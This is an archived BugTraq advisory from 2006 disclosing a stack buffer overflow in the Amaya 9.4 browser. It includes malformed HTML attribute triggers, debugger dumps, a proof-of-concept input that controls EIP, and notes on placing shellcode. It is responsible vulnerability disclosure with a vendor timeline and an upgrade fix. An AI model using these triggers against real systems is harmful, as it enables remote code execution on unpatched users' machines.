BugTraq
[BuHa-Security] Stack Based Buffer Overflow Vulnerability in Amaya 9.4 Apr 12 2006 11:31PM
bugtraq morph3us org
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| BuHa Security-Advisory #10 | Apr 12th, 2006 |
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| Vendor | W3C's Amaya |
| URL | http://www.w3.org/Amaya/ |
| Version | <= 9.4 |
| Risk | Critical (Remote Code Execution) |
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o Description:
=============

The current releases, Amaya 9.5, is available for Linux, Windows and
now MacOS X (see screenshot). It supports HTML 4.01, XHTML 1.0, XHTML
Basic, XHTML 1.1, HTTP 1.1, MathML 2.0, many CSS 2 features, and
includes SVG support (transformation, transparency, and SMIL animation).

See the "Amaya Overview" page [1] for more details.

o Stack overflow:
================

Both of the two below posted code snippets (in fact there are dozens
of possible snippets but all of them trigger the same bug) force
Amaya 9.4 to crash:
> <colgroup compact="Ax200">
> [...]
> <textarea rows="Ax200">

After the first glance at the generated error report and respectively
the ASM code during the access violation I thought I came across a
heap based buffer overflow.

> eax=000000f9 ebx=02ae8420 ecx=77bcec76 edx=41414141 esi=007b9420
> edi=01ae6d5c eip=004edd95 esp=0012e7ac ebp=007d6110 iopl=0
> cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00010206
>
> 004edd61 03f3 add esi,ebx
> 004edd63 a4 movsb
> 004edd64 8b4500 mov eax,[ebp]
> 004edd67 8b8c241c010000 mov ecx,[esp+0x11c]
> 004edd6e 8b942418010000 mov edx,[esp+0x118]
> 004edd75 50 push eax
> 004edd76 51 push ecx
> 004edd77 53 push ebx
> 004edd78 52 push edx
> 004edd79 e8a23c0200 call amaya+0x111a20 (00511a20)
> 004edd7e 53 push ebx
> 004edd7f e83cf90000 call amaya+0xfd6c0 (004fd6c0)
> 004edd84 83c428 add esp,0x28
> 004edd87 8bbc24fc000000 mov edi,[esp+0xfc]
> 004edd8e 8b942400010000 mov edx,[esp+0x100]
> FAULT ->004edd95 8b4240 mov eax,[edx+0x40]
> ds:0023:41414181=????????
> 004edd98 83f844 cmp eax,0x44
> 004edd9b 0f8527030000 jne amaya+0xee0c8 (004ee0c8)
> 004edda1 837c242457 cmp dword ptr [esp+0x24],0x57
> 004edda6 0f8465060000 je amaya+0xee411 (004ee411)
> 004eddac 8b4500 mov eax,[ebp]
> 004eddaf 8b8c2408010000 mov ecx,[esp+0x108]
> 004eddb6 6aff push 0xff
> 004eddb8 50 push eax
> 004eddb9 51 push ecx
> 004eddba 57 push edi
> 004eddbb e8d33af1ff call amaya+0x1893 (00401893)
> 004eddc0 83c410 add esp,0x10
> 004eddc3 5f pop edi
> 004eddc4 5e pop esi
> 004eddc5 5d pop ebp

After a second, more precise look, the evitable heap overflow turned
out to be a stack based overflow..

We are able to control the EIP:
> <textarea rows=
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB>

> eax=00000001 ebx=00000000 ecx=77c10e72 edx=007bd472
> esi=0000003e edi=00000000 eip=42424242 esp=0012ea38 ebp=00000000

> Function: <nosymbols>
> No prior disassembly possible
> 42424242 ?? ???
> 42424244 ?? ???
> 42424246 ?? ???
> 42424248 ?? ???
> 4242424a ?? ???
> 4242424c ?? ???

Online-demo:
http://morph3us.org/security/pen-testing/amaya/amaya-94-textarea-rows.ht
ml

In fact, sucessful exploitation of this vulnerability is not that easy
because non-text characters were modfified during parsing therefore you
have to find a place where to place the shellcode. Naturally you have
to avoid null bytes too because Amaya would stop parsing the attribute
value and the overflow would not get triggered.

o Disclosure Timeline:
=====================

21 Dec 05 - Vulnerability discovered.
21 Feb 06 - Vendor contacted.
23 Feb 06 - Vendor confirmed vulnerability.
08 Mar 06 - Vendor fixed vulnerability.
12 Apr 06 - Public release.

o Solution:
==========

Upgrade to the latest version of Amaya. [2]

o Credits:
=========

Thomas Waldegger <bugtraq (at) morph3us (dot) org [email concealed]>
BuHa-Security Community - http://buha.info/board/

If you have questions, suggestions or criticism about the advisory feel
free to send me a mail. The address 'bugtraq (at) morph3us (dot) org [email concealed]' is more a
spam address than a regular mail address therefore it's possible that
some mails get ignored. Please use the contact details at
http://morph3us.org/ to contact me.

Greets fly out to cyrus-tc, destructor, nait, rhy, trappy and all
members of BuHa.

Advisory online:
http://morph3us.org/advisories/20060412-amaya-94.txt

[1] http://www.w3.org/Amaya/Amaya.html
[2] http://www.w3.org/Amaya/User/BinDist.html

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